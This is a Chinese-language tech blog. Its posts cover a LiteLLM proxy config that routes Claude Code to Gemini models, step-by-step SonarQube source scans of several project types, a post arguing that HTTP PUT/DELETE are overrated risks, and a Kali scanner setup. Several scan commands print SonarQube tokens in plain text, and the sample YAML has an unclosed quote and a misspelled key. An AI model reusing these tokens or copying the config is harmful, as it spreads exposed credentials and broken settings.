雅技資訊日誌

利用LiteLLM Proxy，讓Claude Code調用第三方AI模型

2026-07-11T20:27:50.873+08:00

20260710-巴威颱風假

Claude Code原生僅支援Anthropic官方模型，若要調用第三方AI模型（本例為Gemini API），可利用「路由代理工具」，目前主流的開源專案有LiteLLM或claude-code-proxy 專案，這類路由工具會在本機啟動路由伺服器，將Claude Code發出的Anthropic式請求，翻譯成第三方模型的請求格式。本篇將採用LiteLLM執行路由代理。

Windows 安裝命令

d:\                                    安裝於D: 槽
mkdir LiteLLM_proxy                    建立安裝目錄
cd LiteLLM_proxy                       切換到安裝目錄
python -m venv myenv                   建立虛擬環境
myenv\Scripts\activate.bat             啟動虛擬環境（Linux用 source myenv/bin/activate
python -m pip install --upgrade pip    更新 pip
pip install "litellm[proxy]"           安裝 litellm_proxy
litellm --version                      檢查版本，並確認litellm可正常執行

建立CONFIG.yaml（路由設定檔）

建立CONFIG.yaml檔案（檔名可自定），定義如何將Claude模型名稱對應到Google Gemini：

model_list:
  # 當 Claude Code 呼叫 claude-3-5-sonnet 時，實際走 gemini-2.5-pro
  - model_name: claude-sonnet-5
  # 到https://platform.claude.com/docs/en/about-claude/models/overview
  # 查詢精確模型名稱
    litellm_params:
      model: gemini/gemini-3.1-flash-lite
      # 有關gemini api key能用的模型之真正名稱，請到
      # https://aistudio.google.com/app/rate-limit 的Tools區段
      # 尋找RPD欄位不是 0/0 的模型，如果模型名稱右邊有(i)符號者，
      # 請點此符號查看個別模型的名稱。調用模式時需用：[模型主名]-[板本]-[類型]型式，
      # 例如：Gemini 3.1 Flash Lite的調用名稱為 gemini-3.1-flash-lite。
      api_key: "os.environ/GEMINI_API_KEY
      # 可以使用 "os.environ/GEMINI_API_KEY" 由作業系統的環境變數提供>KEY，
      # 亦可直接填入 API KEY，為不同模型指定不同 API KEY

  # 定義呼叫Claude Code的 AI（例如>claude-3-5-haiku）時，
  # 要轉發的對象（例如 gemini-2.5-pro）
  - model_name: claude-opus-4-8
    litellm_params:
      model: gemini/gemini-2.5-pro
      api_key: "os.environ/GEMINI_API_KEY"
 
  - model_name: claude-haiku-4-5
    litellm_params:
      max_tokens: 1500
      model: gemini/gemma-4-31b-it
      api_key: "os.environ/GEMINI_API_KEY"
 
general_settings:
  user_auth_key_required: false
  allow_requests_on_db_unavailale: true  # 即使 db 無法連線，亦傳送請求
 
litellm_settings:
  drop_params: true     # 自動過濾掉 Gemini 不支援的 Anthropic 特有參數
  model_alias_map:       # 可讓多個claude-模式對應到同一個gemini模式，以解決相同性問題
    claude-haiku-4-5-20251001: gemini/gemini-3.1-flash-lite

router_settings:
  fallbacks:             # 設定降級機制
    - claude-opus-4-8: [claude-sonnet-5]   # Opus 失敗就降級到 Sonnet
  allowed_fails: 3       # 允許模型連續失敗幾次後，將它暫時踢出可用清單
  cooldown_time: 30      # 失敗的模型要被暫停多久（見上項）
  enable_pre_call_checks: true

# environment_variables:
  # 亦可將環境變數設在此處
  # OPENAI_API_KEY: "sk-proj-kq OpenAI API金鑰"
  # ANTHROPIC_API_KEY: "sk-ant-ap Claude AI API金鑰"
  # GEMINI_API_KEY: "AQ.Ab8 Gemini AI API金鑰"

為AI模型提供API Key

要調用gemini模型，需要API KEY，有三種途徑可設定：

1. 直接在CONFIG.yaml的個別模型上設定（見上面CONFIG.yaml的註解）

2. 在 CONFIG.yaml的「environment_variables」區段統一設定（見上面CONIG.yaml的「environment_variables」區段，已先註解掉）

3. 使用作業系統的環境變數，上面CONFIG.yaml就是透過作業系統的環境變數提供。

Gemini的環境變數是GEMINI_API_KEY，至於設定方式，請依不同作業系統而設定之。

設定Claude Code的Base-URL

Claude Code預設連接Anthropic的模式，為了讓Claude Code透過LiteLLM Proxy調用第三方模型，需在作業系統設定下列二個環境變數：

ANTHROPIC_BASE_URL=http://localhost:4000/
CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY=1

啟動LiteLLM Proxy

在Windows的命令提示字元或Powershell終端機執行下列指令：

d:\                                因安裝在 D: 槽，所換到 D:
cd LiteLLM_proxy                  >切換到安裝目錄
myenv\Scripts\activate.bat          啟動虛擬環境（Linux用 source myenv/bin/activate
litellm --config config.yaml

※ 可以建立不同的CONFIG.yaml，依不同情境，在執行litellm指定不同CONFIG.yaml。

LiteLLM啟動後畫面如下：

工具調用（Tool Use / Function Calling）限制：Claude Code 極度依賴模型執行終端指令（如編譯、讀檔、寫檔）的能力。Gemini 雖然支援 Function Calling，但轉發過程中如果遇到複雜的架構，偶爾可能發生解析錯誤。建議優先使用 Gemini 2.5 Pro 或更高等級的模型來確保 Agent 運作順暢。
無感切換：進入 Claude Code 介面後直接輸入 /model，便可看到轉發而來的 Gemini 模型選項，並自由切換。

啟動claude

完成各環境變數設定，且順利啟動litellm後，litellm會在 http://0.0.0.0:4000/ 接聽請求，接著啟動claude，下圖是claude透過litellm proxy調用gemini的情形。

由litellm的日誌訊息可發現，claude收到的回應來源是claude-sonnet-5，但真正回應此訊息的源頭是gemini-3.1-flash-lite。

以SonarQube掃描Gradle專案源碼

2023-10-02T15:43:00.002+08:00

SonarQube 是一套白箱掃描工具，本例使用開源免費的Community版本，有關安裝方式可參考「在KALI Linux建置黑、白箱掃描系統（Arachni及SonarQube）」一文。

本文以SonarQube提供的範例「 sonar-scanning-examples-master\sonarqube-scanner-gradle\gradle-multimodule」做示範說明，置於「C:\sonar-scanning-examples-master\sonarqube-scanner-gradle\gradle-multimodule」目錄下。若想掃描其他gradle專案，請依該專案環境、結構酌作調整，尤其工具及Java版本。

一、必要需求

(一)適合待掃專案的JDK

1.本例使用Java 13，筆者將它放置於C:\JAVA\jdk-13.0.2。

2.建立環境變數「JAVA_HOME」，讓它指向「C:\JAVA\jdk-13.0.2」。

3.在PATH環境變數中加入「%JAVA_HOME%\bin」，讓作業系統可以找到javac.exe。

(二)gradle工具（用來建立 Gradle Wrapper）

1.至Gradle官網下載Gradle工具包，直接解壓縮到自選目錄，例如「C:\gradle\gradle-8.0.2」。

2.建立環境變數「GRADLE_HOME」，讓它指向「C:\gradle\gradle-8.0.2」。

3.在PATH環境變數中加入「%GRADLE_HOME%\bin」，讓作業系統可以找到gradle.exe。

4.執行 gradle -v 確認gradle.exe可執行。

C:\>gradle -v
------------------------------------------------------------
Gradle 8.0.2
------------------------------------------------------------

Build time:   2023-03-03 16:41:37 UTC
Revision:     7d6581558e226a580d91d399f7dfb9e3095c2b1d

Kotlin:       1.8.10
Groovy:       3.0.13
Ant:          Apache Ant(TM) version 1.10.11 compiled on July 10 2021
JVM:          17.0.2 (Oracle Corporation 17.0.2+8-86)
OS:           Windows 10 10.0 amd64

C:\>

二、修改待掃專案的build. gradle，加入sonar scanner插件：

本例使用4.3.1.3277版插件，這裡可查詢gradle可用的各版本sonar scanner插件，請選擇合適的版本。

plugins {
    ……其他的plugin……
    // 為SonarQue加入適當版本的插件，參考建立Sonar掃描專案後，Sonar所提示的版本
    id 'org.sonarqube' version '4.3.1.3277'
}

三、執行掃描：

(一)啟動SonarQube Scanner Server，假設位於「 http://192.168.232.153:9000」

(二)以瀏覽器連線SonarQube Scanner Server，並建立掃描專案（如重掃描舊專案，請備妥 Project Token）

1. 由Projects頁面選擇「Create Project」->「Manually」

2.社群版只能選擇「Locally」

3.填入「Project display name」（專案名稱）及「Project key」（專案鍵名）

4.產生Project Token（專案身分代號）

5.請記下Project Token

6.選擇要被掃描的專案類型（Gradle）

(三)開啟命令提示字元，將工作目錄切換到待掃描的Gradle專案目錄，本例係位於C:\sonar-scanning-examples-master\sonarqube-scanner-gradle\gradle-multimodule，此範例已自帶「gradle wrapper」。
若您的專案目錄下沒有「gradle\wrapper」目錄，則需要於此專案目錄下執行「gradle wrapper」，完成後，會在此目錄下新增.gradle、gradle兩個目錄及gradlew、gradle.bat兩檔案。
若待掃專案已有.gradle、gradle兩個目錄及gradlew、gradle.bat兩檔案，可跳過此步驟。

(四)注意 gradle\wrapper\目錄裡gradle-wrapper.properties 檔的 distributionUrl 項目所指定之 gradle 版號（可至https://services.gradle.org/distributions/ 查看所有版號），及所使用的JDK版本。
若gradle service版號或JDK版本與待掃專案不匹配，建置過程會發生錯誤。

#Tue May 19 06:55:41 BST 2020
distributionUrl=https\://services.gradle.org/distributions/gradle-6.4.1-all.zip
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStorePath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME

(五)如果已完成項一及項二的要求，便可直接複製及執行SonarQube所提供的命令。
由於此命令是Linux格式，本例是在Windows環境執行，需調整命令語句，將原始命的整理成單一列。

(六)執行過程如下所示(橘紅色部分是我所執行的命令）

C:\sonar-scanning-examples-master\sonarqube-scanner-gradle\gradle-multimodule>gradlew.bat sonar -Dsonar.projectKey=Example-Gradle-Project -Dsonar.host.url=http://192.168.232.153:9000 -Dsonar.login=sqp_99a6eebeda445bce288e94afae9aa409e7454d75
> Task :sonar
SCM provider autodetection failed. Please use "sonar.scm.provider" to define SCM of your project, or disable the SCM Sensor in the project settings.
BUILD SUCCESSFUL in 39s
2 actionable tasks: 2 executed
<-------------> 0% WAITING
> IDLE

如果前面各步驟無誤，應該可以完成掃描，最後會看到「BUILD SUCCESSFUL」。如果過程出現錯誤，請仔細研讀訊息，善用Google或ChatGPT找出解答。

完成掃描後，可在SonarQube Scanner Web UI看到專案結果~~

關於 dotNet Framework 專案的掃描，請參閱：以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）

關於 dotNet Core 專案的掃描，請參閱：以SonarQube掃描dotNet Core專案源碼（白箱掃描）

以 SonarQube 掃描 maven 專案源碼（白箱掃描）

2023-09-28T11:05:00.003+08:00

SonarQube 是一套白箱掃描工具，本例使用開源免費的Community版本，有關安裝方式可參考「在KALI Linux建置黑、白箱掃描系統（Arachni及SonarQube）」

本文以SonarQube提供的範例「 sonar-scanning-examples-master\onarqube-scanner-maven\maven-multilingual 」做示範說明，若想掃描其他maven專案，請依該專案環境、結構酌作調整，尤其工具及Java版本。

一、必要需求

(一)maven

到 Apache Maven Project 下載合適版本的Maven（本例使用 maven-3.9.0），並解壓縮到自選目錄，例如「C:\maven\apache-maven-3.9.0」。

建立環境變數「M2_HOME」指向「C:\maven\apache-maven-3.9.0」。

在 PATH 環境變數中加入「%M2_HOME%\bin」，讓作業系統可以找得到mvn.exe。

(二)適合待掃專案的JDK

本例使用Java 11，位於C:\JAVA\jdk-11.0.2。

二、修改待掃專案的pom.xml，加入sonar scanner：

如果不想修改待掃專案的POM.XML，可參考「三、執行掃描」的第(四)點。

<build>
    <pluginManagement>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.8.1</version>
            </plugin>
<!-- 以下為SonarQube而建 -->
            <plugin>
                <groupId>org.sonarsource.scanner.maven</groupId>
                <artifactId>sonar-maven-plugin</artifactId>
                <version>3.9.1.2184</version>
            </plugin>

這裡可查詢各個版本的sonar scanner插件，請選擇合適的版本，本例是使用 3.9.1.2184。

三、執行掃描：

(一)啟動SonarQube Scanner Server，假設位於「 http://192.168.232.153:9000」

(二)以瀏覽器連線SonarQube Scanner Server，並建立掃描專案（如重掃描舊專案，請備妥 Project Token）

1. 由Projects頁面選擇「Create Project」->「Manually」

2.社群版只能選擇「Locally」

3.填入「Project display name」（專案名稱）及「Project key」（專案鍵名）

4.產生Project Token（專案身份代號）

5.請記下Project Token

6.選擇要被掃描的專案類型（Maven）

(三)開啟命令提示字元，將工作目錄切換到待掃描的Maven專案目錄，本例使用sonar-scanning-examples-master的sonarqube-scanner-msbuild專案做示範，下載後置於C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild。

(四)如果已完成項一及項二的要求，便可直接複製及執行SonarQube所提供的命令。
由於此命令是Linux格式，本例是在Windows環境執行，需調整命令語句，將原始命的整理成單一列：

(五)若想靈活切換SDK版本，可以在開啟命令提示字元後，依續執行：

C:\>set JAVA_HOME=c:\java\jdk-11.0.2
C:\>set path=%JAVA_HOME%\bin;%PATH% #加在前面，確保被優先引用
C:\>cd c:\sonar-scanning-examples-master\sonarqube-scanner-msbuild
C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild>mvn clean verify sonar:sonar -Dsonar.projectKey=Examp-Maven-A -Dsonar.host.url=http://192.168.232.129:9000 -Dsonar.login=sqp_dba30fef39a3676dd2c2bba4ae197d96ae58aa03

或者

C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild>mvn clean verify org.sonarsource.scanner.maven:sonar-maven-plugin:3.9.1.2184:sonar -Dsonar.projectKey=Examp-Maven-A -Dsonar.host.url=http://192.168.232.129:9000 -Dsonar.login=sqp_dba30fef39a3676dd2c2bba4ae197d96ae58aa03

(六)執行過程如下所示(橘紅色部分是我所執行的命令）

C:\>java -version
openjdk version "11.0.2" 2019-01-15
OpenJDK Runtime Environment 18.9 (build 11.0.2+9)
OpenJDK 64-Bit Server VM 18.9 (build 11.0.2+9, mixed mode)

C:\>cd sonar-scanning-examples-master\sonarqube-scanner-maven\maven-multimodule
C:\sonar-scanning-examples-master\sonarqube-scanner-maven\maven-multimodule>mvn clean verify org.sonarsource.scanner.maven:sonar-maven-plugin:3.9.1.2184:sonar -Dsonar.projectKey=Examp-Maven-A -Dsonar.host.url=http://192.168.232.129:9000 -Dsonar.login=sqp_dba30fef39a3676dd2c2bba4ae197d96ae58aa03
[INFO] Scanning for projects...
[INFO] ------------------------------------------------------------------------
[INFO] Reactor Build Order:
[INFO]
[INFO] Example of multi-module Maven project [pom]
[INFO] Module 1 [jar]
[INFO] Module 2 [jar]
[INFO] Tests [jar]

<<部分訊息省略>>

[INFO] ANALYSIS SUCCESSFUL, you can find the results at: http://192.168.232.129:9000/dashboard?id=Examp-Maven-A
[INFO] Note that you will be able to access the updated dashboard once the server has processed the submitted analysis report
[INFO] More about the report processing at http://192.168.232.129:9000/api/ce/task?id=AYrZSjAxVbRR_GlSxZsf
[INFO] Analysis total time: 7.571 s
[INFO] ------------------------------------------------------------------------
[INFO] Reactor Summary for Example of multi-module Maven project 1.0-SNAPSHOT:
[INFO]
[INFO] Example of multi-module Maven project .............. SUCCESS [ 9.495 s]
[INFO] Module 1 ........................................... SUCCESS [ 6.353 s]
[INFO] Module 2 ........................................... SUCCESS [ 1.566 s]
[INFO] Tests .............................................. SUCCESS [ 1.851 s]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 23.218 s
[INFO] Finished at: 2023-09-28T08:57:11+08:00
[INFO] ------------------------------------------------------------------------

C:\sonar-scanning-examples-master\sonarqube-scanner-maven\maven-multimodule>

如果前面各步驟無誤，應該可以完成掃描，最後會看到「EXECUTION SUCCESS」。如果過程出現錯誤，請仔細研讀訊息，善用Google或ChatGPT找出解答。

完成掃描後，可在SonarQube Scanner Web UI看到專案結果~~

關於 dotNet Framework 專案的掃描，請參閱：以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）

關於 dotNet Core 專案的掃描，請參閱：以SonarQube掃描dotNet Core專案源碼（白箱掃描）

以SonarQube掃描dotNet Core專案源碼（白箱掃描）

2023-09-26T20:25:00.004+08:00

SonarQube是一套白箱掃描工具，本例使用開源免費的Community版本，有關安裝方式可參考「在KALI Linux建置黑、白箱掃描系統（Arachni及SonarQube）」

本文以GitHub上的dotNet Core範例「MagicianredLabs/dotnetcore5-example」做示範說明，若想掃描其他 dotNet Core專案，請依該專案環境、結構酌作調整，尤其工具及SDK的版本。

一、必要需求

(一)dotNet SDK

可下載安裝版或ZIP檔，本例選用7.0.201的Amd 64之ZIP版，直接解壓縮到自選目錄：C:\dotNet.core\dotnet-x64-7.0.201，並將此路徑加入 Path 環境變數。

(二)檢查「%USERPROFILE%\.dotnet\tools」目錄裡是否有「dotnet-sonarscanner.exe」檔案及「.store」目錄，如果沒有，請執行下列命令，以安裝 dotNet Core 用的sonarscanner 全域工具：

cd C:\dotNet.core\dotnet-x64-7.0.201
dotnet tool install --global dotnet-sonarscanner --version 5.13.1

備註：可到NUGet查看--version X.X.X可支援的版本

二、執行掃描

(一)啟動SonarQube Scanner Server，假設位於「 http://192.168.232.153:9000」

(二)以瀏覽器連線SonarQube Scanner Server，並建立掃描專案（如重掃描舊專案，請備妥 Project Token）

1. 由Projects頁面選擇「Create Project」->「Manually」

2.社群版只能選擇「Locally」

3.填入「Project display name」（專案名稱）及「Project key」（專案鍵名）

4.產生Project Token（專案身份代號）

5.請記下Project Token

6.選擇要被掃描的專案類型（.NET）

7.選擇.NET的型態（.NET Core）

(三)開啟命令提示字元，將工作目錄切換到待掃描的dotNet Core專案目錄，本例使用MagicianredLabs/dotnetcore5-example裡的it.example.dotnetcore5專案做示範，下載後置於D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5。

(四)如果已完成項一之(二)的要求，就不會理會上圖的第一條命令（dotnet tool install --global dotnet-sonarscanner)。
如已將dotNet SDK的目錄加到PATH環境變數，就逐一複製及執行SonarQube所提供的後三段命令。
若想靈活切換SDK版本，可以在執行掃描命令之前先執行「set PATH=SDKPath;%PATH%」設定路徑（SDKPath請換成dotNet SDK的真正路徑）

(五)執行過程如下所示(橘紅色部分是我所執行的命令）

C:\>set path=C:\dotNet-x64-7.0.201;%path%
C:\>d:
D:\>cd d:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5
D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5>dotnet sonarscanner begin /k:".netFramework-Example.core" /d:sonar.host.url="http://192.168.232.153:9000" /d:sonar.login="sqp_c855f5d97c43571f467c8757cd5bcd1e9bb8792a"
SonarScanner for MSBuild 5.13.1
Using the .NET Core version of the Scanner for MSBuild
Pre-processing started.
Preparing working directories...
<<部分訊息省略>>

D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5>dotnet build
MSBuild version 17.5.0-preview-23061-01+040e2a90e for .NET
正在判斷要還原的專案...
<<部分訊息省略>>
Sonar: (it.example.dotnetcore5.webapi.tests.integration.csproj) Project processed successfully

建置成功。

C:\dotNet-x64-7.0.201\sdk\7.0.201\Sdks\Microsoft.NET.Sdk\targets\Microsoft.NET.EolTargetFrameworks.targets(28,5): warning NETSDK1138: 目標 Framework 'net5.0' 已不受支援，未來將不會再收到任何安全性更新。如需支援原則的詳細資訊，請參閱 https://aka.ms/dotnet-core-support。 [D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5\it.example.dotnetcore5.bl\it.example.dotnetcore5.bl.csproj]
<<部分訊息省略>>

D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5\it.example.dotnetcore5.webapi\Program.cs(12,18): warning S1118: Add a 'protected' constructor or the 'static' keyword to the class declaration. [D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5\it.example.dotnetcore5.webapi\it.example.dotnetcore5.webapi.csproj]
39 個警告
0 個錯誤

經過時間 00:01:51.00

D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5>dotnet sonarscanner end /d:sonar.login="sqp_c855f5d97c43571f467c8757cd5bcd1e9bb8792a"
SonarScanner for MSBuild 5.13.1
Using the .NET Core version of the Scanner for MSBuild
Post-processing started.
Calling the SonarScanner CLI...
<<部分訊息省略>>

INFO: More about the report processing at http://192.168.232.153:9000/api/ce/task?id=AYrMzgcpHOOPZyW4SWNL
INFO: Analysis total time: 14.247 s
INFO: ------------------------------------------------------------------------
INFO: EXECUTION SUCCESS
INFO: ------------------------------------------------------------------------
INFO: Total time: 17.470s
INFO: Final Memory: 17M/60M
INFO: ------------------------------------------------------------------------
The SonarScanner CLI has finished
19:34:12.82 Post-processing succeeded.

D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5>

如果前面各步驟無誤，應該可以完成掃描，最後會看到「EXECUTION SUCCESS」。如果過程出現錯誤，請仔細研讀訊息，善用Google或ChatGPT找出解答。

完成掃描後，可在SonarQube Scanner Web UI看到專案結果~~

關於 dotNet Framework 專案的掃描，請參閱：以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）

以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）

2023-09-24T16:17:00.005+08:00

SonarQube是一套白箱掃描工具，本例使用開源免費的Community版本，有關安裝方式可參考「在KALI Linux建置黑、白箱掃描系統（Arachni及SonarQube）」

本文以SonarQube提供的範例「sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject」做示範說明，若想掃描其他.netFramework專案，請依該專案環境、結構酌作調整，尤其工具及SDK的版本。

一、必要需求

(一)SonarScanner for .NET（本例選用sonar-scanner-msbuild-5.11.0.60783-net46.zip）

(二)MSBuild V14以上（VS Community 2019以上，本例選用VS Community 2022）

(三)符合專案所需的.Net Framework（本例使用VS Community 2022自帶版本）

二、選用需求

將SonarScanner for .NET 執行檔和 MSBuild.EXE 的所在路徑加入 Path 環境變數，若不加入環境變數，執行命令時，必須手動指定完整路徑。

三、各項需求安裝

(一)安裝SonarScanner for .NET：

將所下載的 sonar-scanner-msbuild-5.11.0.60783-net46.zip 解壓縮到自選目錄，例如「C:\sonar-scanner-msbuild-5.11.0.60783-net46」

(二)安裝Visual Studio Community 2022：

1.下載 VisualStudioSetup.exe （VS Community 2022的安裝檔），並執行安裝。

2.安裝過程中，請加選「.NET Framework 4.6.2-4.7.1開發工具」和「.NET Framework 4.8.1開發工具」

四、檢測所需環境

(一)執行「C:\sonar-scanner-msbuild-5.11.0.60783-net46\SonarScanner.MSBuild.exe /?」會看到Sonar-scanner for .net的使用說明。

(二)執行「"C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\amd64\msbuild.exe" /version」會看到Msbuild.exe的版本。

五、執行掃描

(一)啟動SonarQube Scanner Server，假設位於「 http://192.168.232.153:9000」

(二)以瀏覽器連線SonarQube Scanner Server，並建立掃描專案（如重掃描舊專案，請備妥 Project Token）

1. 由Projects頁面選擇「Create Project」->「Manually」

2.社群版只能選擇「Locally」

3.填入「Project display name」（專案名稱）及「Project key」（專案鍵名）

4.產生Project Token（專案身份代號）

5.請記下Project Token

6.選擇要被掃描的專案類型（.NET）

7.選擇.NET的型態（.NET Framework）

(三)複製剛剛建立掃描專案時，SonarQube所提供的三段命令，利用文字編輯器酌作調整，並以「Sonar_net-framework-example.bat」檔名儲存在.netFramework方案目錄下（保有.sln方案檔的目錄，本例為C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject）

(四)以系統管理員身分開啟命令提示字元，將工作目錄切換到.netFramework方案目錄

(五)直接執行「Sonar_net-framework-example.bat」(執行過程如下)

C:\>cd C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject
C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject>Sonar_net-framework-example.bat
SonarScanner for MSBuild 5.11
Using the .NET Framework version of the Scanner for MSBuild
Pre-processing started.
Preparing working directories...
08:56:22.776 Updating build integration targets...
<<部分訊息省略>>

SonarWriteProjectData:
Sonar: (SomeConsoleApplicationTest.csproj) Project processed successfully
<<部分訊息省略>>

建置成功。
"C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication.sln" (Rebuild 目標) (1)
->
"C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication\SomeConsoleApplication.csproj" (Rebuild 目標) (2) ->
(CoreCompile 目標) ->
C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication\Program.cs(4,18): warning S1118: Add a 'protected' constructor or the 'static' keyword to the class declaration. (https://rules.sonarsource.com/csharp/RSPEC-1118) [C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication\SomeConsoleApplication.csproj]
C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication\Program.cs(21,28): w
arning S3400: Remove this method and declare a constant for this value. (https://rules.sonarsource.com/csharp/RSPEC-3400) [C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication\SomeConsoleApplication.csproj]
C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication\Program.cs(9,17): warning S2583: Change this condition so that it does not always evaluate to 'true'; some subsequent code is never executed. (https://rules.sonarsource.com/csharp/RSPEC-2583) [C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication\SomeConsoleApplication.csproj]

3 個警告
0 個錯誤
經過時間 00:00:20.71
SonarScanner for MSBuild 5.11
Using the .NET Framework version of the Scanner for MSBuild
Post-processing started.
Calling the TFS Processor executable...
The TFS Processor has finished
Calling the SonarScanner CLI...
<<部分訊息省略>>

INFO: ------------------------------------------------------------------------
INFO: EXECUTION SUCCESS
INFO: ------------------------------------------------------------------------
INFO: Total time: 45.588s
INFO: Final Memory: 16M/57M
INFO: ------------------------------------------------------------------------
The SonarScanner CLI has finished
08:57:43.051 Post-processing succeeded.
C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject>

如果前面各步驟無誤，應該可以完成掃描，最後會看到「EXECUTION SUCCESS」。如果過程出現錯誤，請仔細研讀訊息，善用Google或ChatGPT找出解答。

完成掃描後，可在SonarQube Scanner Web UI看到專案結果~~

關於 dotNet Core 專案的掃描，請參閱：以SonarQube掃描dotNet Core專案源碼（白箱掃描）

Web Server開啟PUT / DELETE方法，真的危險嗎？

2023-06-25T08:51:00.005+08:00

前言

RFC7231是http方法的實作建議文件，在第4節提到：

HTTP was originally designed to be usable as an interface to distributed object systems. The request method was envisioned as applying semantics to a target resource in much the same way as invoking a defined method on an identified object would apply semantics.

（HTTP的原始設計目標是作為分散式物件系統的操作介面，將請求方法當成操作指定物件的方式）。

而RFC7231中共提供八種http方法：

方法	說明
GET	傳送指定的資源（含回應標頭及狀態碼）
HEAD	類似GET，但傳送回應標頭及狀態碼
POST	按請求載荷，處理指定的資源
PUT	以請求載荷取代目標資源的內容（若目標資源不存在，則新增之）
DELETE	移除目標資源的當前內容
CONNECT	就處理的資源，在client和server之間建立連線通道
OPTIONS	指出目標資源可用的通訊選項
TRACE	沿著到達目標資源的路徑，執行訊息環回測試。

對於不會改變資源狀態的方法，被視為「安全」，如GET、HEAD、OPTIONS和TRACE

緣由

收過幾次滲透測試報告，指出：網站開啟OPTIONS、PUT、DELETE等方法(method)，會讓駭客上傳後門、木馬，或者刪除重要檔案，屬高風險漏洞，必須關閉。事實真是如此嗎？心中一直存疑。滲透測試人員是否做過驗證程序嗎？還是看到網路上的報導，就人云亦云？會有這樣的見解，或許是因為早期Internet的目標資源是「檔案」形式。但現今，目標資源已衍生出多種形態，原本的不安全論點是否還適用？

從RFC7231的說明：

Unlike distributed objects, the standardized request methods in HTTP are not resource-specific, since uniform interfaces provide for better visibility and reuse in network-based systems [REST]. Once defined, a standardized method ought to have the same semantics when applied to any resource, though each resource determines for itself whether those semantics are implemented or allowed.

（與分散式物件不同，標準的HTTP請求並未限定特定資源，在網路體系（REST）裡，介面的一致性可更好理解和重複使用，儘管各個資源可以自行決定是否實作這些方法的功能或同意執行這些方法，但有了標準化方法，操作任何資源時，就不致於誤解意思。）

上面這段話並「沒有規定PUT／DELETE只用來操作檔案」。

行動

為此，在Git Hub上找到Tomcat源碼，從Tomcat預設DefaultServlet.java發現處理PUT和DELETE方法的邏輯，確實可以上傳及刪除指定的檔案。既然PUT和DELETE的功能可由Tomcat的預設Servlet來定義，表示開發者亦可重新定義這些方法，進而改變PUT和DELETE的處理邏輯，那麼，PUT和DELETE是不是真的不安全？就必要經過實際驗證，因此錄製一段影片，藉由修改PUT和DELETE的程式邏輯，證明PUT和DELETE不像一般滲透測試人員所言那麼地危險！

影片在：https://youtu.be/x85wiKm3JSg

在KALI Linux建置黑、白箱掃描系統（Arachni及SonarQube）

2023-03-05T19:48:00.009+08:00

前言

最近因資安教學，需要介紹免費的Web黑、白箱掃描工具，看網路上許多大大推薦arachni（黑箱）及SonarQube（白箱），由於筆者從事滲透測試時，經常使用Kali Linux，加上Kali有完整的第三方環境，便興起於Kali安裝這兩套工具的念頭。

網路上有很多關於arachni和SonarQube的安裝及使用說明，筆者照著做，卻踩了不少坑、撞了許多牆，便藉部落格留下紀錄，以供日後回顧。

壹、Kali環境說明

筆者是從Kali-Org直接下載現成的VMware虛擬機映像檔壓縮檔，下載後解壓縮，然後用VMware workstation Player開啟，可以省掉安裝虛擬的過程，也可簡化教學步驟。

Kali VM預設的帳號和密碼都是「kali」此帳號非系統管理員（root），很多指令必須藉由sudo讓kali暫時以系統管理員角色來執行。

進入Kali後，第一件事是執行系統更新，請開啟一個終端機（或稱主控台），並執行「 sudo apt updage && sudo apt upgrade -y 」（參考下圖）

接著以「 sudo service --status-all | grep post 」查看postgresql是否已啟動，前頭是 [ - ]表示未啟動，是 [ + ]表示已啟動。如果未啟動，請以「 sudo systemctl enable postgresql 」將它設成開機後自動啟動，並以「 sudo systemctl start postgresql 」立即啟動postgressql服務。

確認PostgreSQL啟動後，便可進行後續工作。

貳、設定PostgreSQL資料庫 （參考這篇文章）

arachni和SonarQube都支援PostgreSQL資料庫，而且Kali也已預安裝此資料系統，只須少少步驟設定，便可啟用。

確認PostgreSQL服務啟動後，可參考本段建立所需的資料庫及設定。

sudo passwd postgres #為postgres 設定新密碼（預設是無密碼）
#接著輸入新密碼及再次確認新密碼，請記住新密碼

su - postgres #切換成postgres角色的作業環境
密碼： <輸入postgres的密碼>

createuser kali #在PostgreSQL 建立新使用者，可自定使用者名稱

psql #進入PostgreSQL 資料庫命令列環境

